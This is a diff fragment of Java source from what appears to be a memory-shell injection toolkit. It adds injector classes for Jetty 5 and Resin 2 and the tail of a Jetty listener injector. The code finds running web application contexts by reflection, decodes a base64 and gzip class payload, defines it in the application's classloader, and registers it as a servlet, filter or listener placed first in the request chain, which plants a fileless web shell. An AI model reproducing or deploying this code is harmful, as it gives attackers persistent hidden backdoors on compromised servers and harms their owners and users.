||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object context, Object listener) throws Exception {
|
||||||
|
if (hasListener(context)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||||
|
try {
|
||||||
|
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!hasWebApplicationHandlerListener(webApplicationHandler)) {
|
||||||
|
invokeMethod(webApplicationHandler, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||||
|
}
|
||||||
|
ensureJsr154Filter(webApplicationHandler);
|
||||||
|
syncJsr154Filter(webApplicationHandler);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||||
|
String name = contextClassLoader.getClass().getName();
|
||||||
|
if (name.endsWith("ContextLoader")) {
|
||||||
|
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return getFieldValue(context, "_servletHandler");
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean hasListener(Object context) throws Exception {
|
||||||
|
if (containsListener(getFieldValueQuietly(context, "_contextListeners"))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||||
|
return hasWebApplicationHandlerListener(webApplicationHandler);
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean hasWebApplicationHandlerListener(Object webApplicationHandler) {
|
||||||
|
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestListeners"))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners"))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_sessionListeners"))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return containsListener(getFieldValueQuietly(webApplicationHandler, "_contextAttributeListeners"));
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFieldValueQuietly(Object obj, String name) {
|
||||||
|
try {
|
||||||
|
return getFieldValue(obj, name);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean containsListener(Object listeners) {
|
||||||
|
if (listeners == null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (listeners instanceof List) {
|
||||||
|
List list = (List) listeners;
|
||||||
|
for (int i = 0; i < list.size(); i++) {
|
||||||
|
if (isInjectedListener(list.get(i))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (listeners.getClass().isArray()) {
|
||||||
|
int length = Array.getLength(listeners);
|
||||||
|
for (int i = 0; i < length; i++) {
|
||||||
|
if (isInjectedListener(Array.get(listeners, i))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return isInjectedListener(listeners);
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isInjectedListener(Object listener) {
|
||||||
|
return listener != null && listener.getClass().getName().contains(getClassName());
|
||||||
|
}
|
||||||
|
|
||||||
|
private void ensureJsr154Filter(Object webApplicationHandler) {
|
||||||
|
try {
|
||||||
|
Object filterHolder = invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{"jsr154"});
|
||||||
|
if (filterHolder == null) {
|
||||||
|
filterHolder = invokeMethod(webApplicationHandler,
|
||||||
|
"defineFilter",
|
||||||
|
new Class[]{String.class, String.class},
|
||||||
|
new Object[]{"jsr154", "org.mortbay.jetty.servlet.JSR154Filter"});
|
||||||
|
}
|
||||||
|
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||||
|
invokeMethod(filterHolder, "start");
|
||||||
|
}
|
||||||
|
Object jsr154Filter = invokeMethod(filterHolder, "getFilter");
|
||||||
|
setFieldValue(webApplicationHandler, "jsr154FilterHolder", filterHolder);
|
||||||
|
setFieldValue(webApplicationHandler, "jsr154Filter", jsr154Filter);
|
||||||
|
try {
|
||||||
|
invokeMethod(jsr154Filter, "setUnwrappedDispatchSupported", new Class[]{boolean.class}, new Object[]{Boolean.TRUE});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
if (!hasPathFilterMapping(webApplicationHandler, "jsr154")) {
|
||||||
|
invokeMethod(webApplicationHandler,
|
||||||
|
"addFilterPathMapping",
|
||||||
|
new Class[]{String.class, String.class, int.class},
|
||||||
|
new Object[]{"/*", "jsr154", Integer.valueOf(1)});
|
||||||
|
}
|
||||||
|
movePathFilterToFront(webApplicationHandler, "jsr154");
|
||||||
|
clearChainCache(webApplicationHandler);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void syncJsr154Filter(Object webApplicationHandler) {
|
||||||
|
try {
|
||||||
|
Object jsr154Filter = getFieldValueQuietly(webApplicationHandler, "jsr154Filter");
|
||||||
|
if (jsr154Filter == null) {
|
||||||
|
Object jsr154FilterHolder = getFieldValueQuietly(webApplicationHandler, "jsr154FilterHolder");
|
||||||
|
if (jsr154FilterHolder != null) {
|
||||||
|
jsr154Filter = invokeMethod(jsr154FilterHolder, "getFilter");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (jsr154Filter == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
invokeMethod(jsr154Filter, "setRequestListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestListeners")});
|
||||||
|
invokeMethod(jsr154Filter, "setRequestAttributeListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners")});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean hasPathFilterMapping(Object webApplicationHandler, String filterName) {
|
||||||
|
try {
|
||||||
|
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||||
|
if (pathFilters == null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < pathFilters.size(); i++) {
|
||||||
|
Object filterMapping = pathFilters.get(i);
|
||||||
|
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||||
|
String name = (String) invokeMethod(filterHolder, "getName");
|
||||||
|
if (filterName.equals(name)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void movePathFilterToFront(Object webApplicationHandler, String filterName) {
|
||||||
|
try {
|
||||||
|
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||||
|
if (pathFilters == null || pathFilters.size() < 2) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < pathFilters.size(); i++) {
|
||||||
|
Object filterMapping = pathFilters.get(i);
|
||||||
|
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||||
|
String name = (String) invokeMethod(filterHolder, "getName");
|
||||||
|
if (filterName.equals(name)) {
|
||||||
|
pathFilters.remove(i);
|
||||||
|
pathFilters.add(0, filterMapping);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void clearChainCache(Object webApplicationHandler) {
|
||||||
|
clearCacheField(webApplicationHandler, "_chainCache");
|
||||||
|
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void clearCacheField(Object object, String name) {
|
||||||
|
try {
|
||||||
|
Object cache = getFieldValue(object, name);
|
||||||
|
if (cache instanceof Map[]) {
|
||||||
|
Map[] maps = (Map[]) cache;
|
||||||
|
for (int i = 0; i < maps.length; i++) {
|
||||||
|
if (maps[i] != null) {
|
||||||
|
maps[i].clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
return;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
throw e;
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+254
@@ -0,0 +1,254 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Jetty5ServletInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Jetty5ServletInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object context, Object servlet) throws Exception {
|
||||||
|
Object servletHandler = getWebApplicationHandler(context);
|
||||||
|
|
||||||
|
if (invokeMethod(servletHandler, "getServletHolder", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
invokeMethod(
|
||||||
|
servletHandler,
|
||||||
|
"addServlet",
|
||||||
|
new Class[]{String.class, String.class, String.class},
|
||||||
|
new Object[]{getClassName(), getUrlPattern(), getClassName()});
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||||
|
String name = contextClassLoader.getClass().getName();
|
||||||
|
if (name.endsWith("ContextLoader")) {
|
||||||
|
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return getFieldValue(context, "_servletHandler");
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
throw e;
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+270
@@ -0,0 +1,270 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.resin2;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Resin2FilterInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Resin2FilterInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||||
|
Object context = getApplicationFromClassLoader(classLoader);
|
||||||
|
if (context != null) {
|
||||||
|
